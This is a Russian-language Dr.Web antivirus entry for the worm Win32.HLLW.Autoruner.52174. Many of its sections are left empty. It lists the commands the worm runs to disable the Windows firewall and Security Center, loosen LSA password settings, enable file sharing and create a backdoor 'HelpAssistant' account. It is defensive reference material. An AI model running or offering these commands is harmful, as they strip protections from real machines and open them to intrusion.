Win32.HLLW.Autoruner.52174

Добавлен в вирусную базу Dr.Web: 2011-06-21

Описание добавлено: 2011-06-21

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

Создает следующие сервисы:

Создает следующие файлы на съемном носителе:

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Создает и запускает на исполнение:

Запускает на исполнение:

<SYSTEM32>\net1.exe stop wscsvc
<SYSTEM32>\net.exe stop wscsvc
<SYSTEM32>\sc.exe config wscsvc start= disabled
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
<SYSTEM32>\findstr.exe /s "YM.CGP_" "%HOMEPATH%"\..\*.txt
<SYSTEM32>\net1.exe start lanmanserver
<SYSTEM32>\sc.exe config lanmanserver start= auto
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v limitblankpassworduse /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f
<SYSTEM32>\cmd.exe /c "%HOMEPATH%\Local Settings\Temporary Internet Files\oi.bat"
<SYSTEM32>\net1.exe user HelpAssistant "active:YES1234" /add
<SYSTEM32>\net1.exe localgroup %USERNAME%s HelpAssistant /add
<SYSTEM32>\net1.exe user HelpAssistant /active:yes
<SYSTEM32>\net1.exe user HelpAssistant "active:YES1234"

Изменения в файловой системе:

Создает следующие файлы:

Присваивает атрибут 'скрытый' для следующих файлов:

Удаляет следующие файлы:

Сетевая активность:

Подключается к:

UDP:

Другое:

Ищет следующие окна: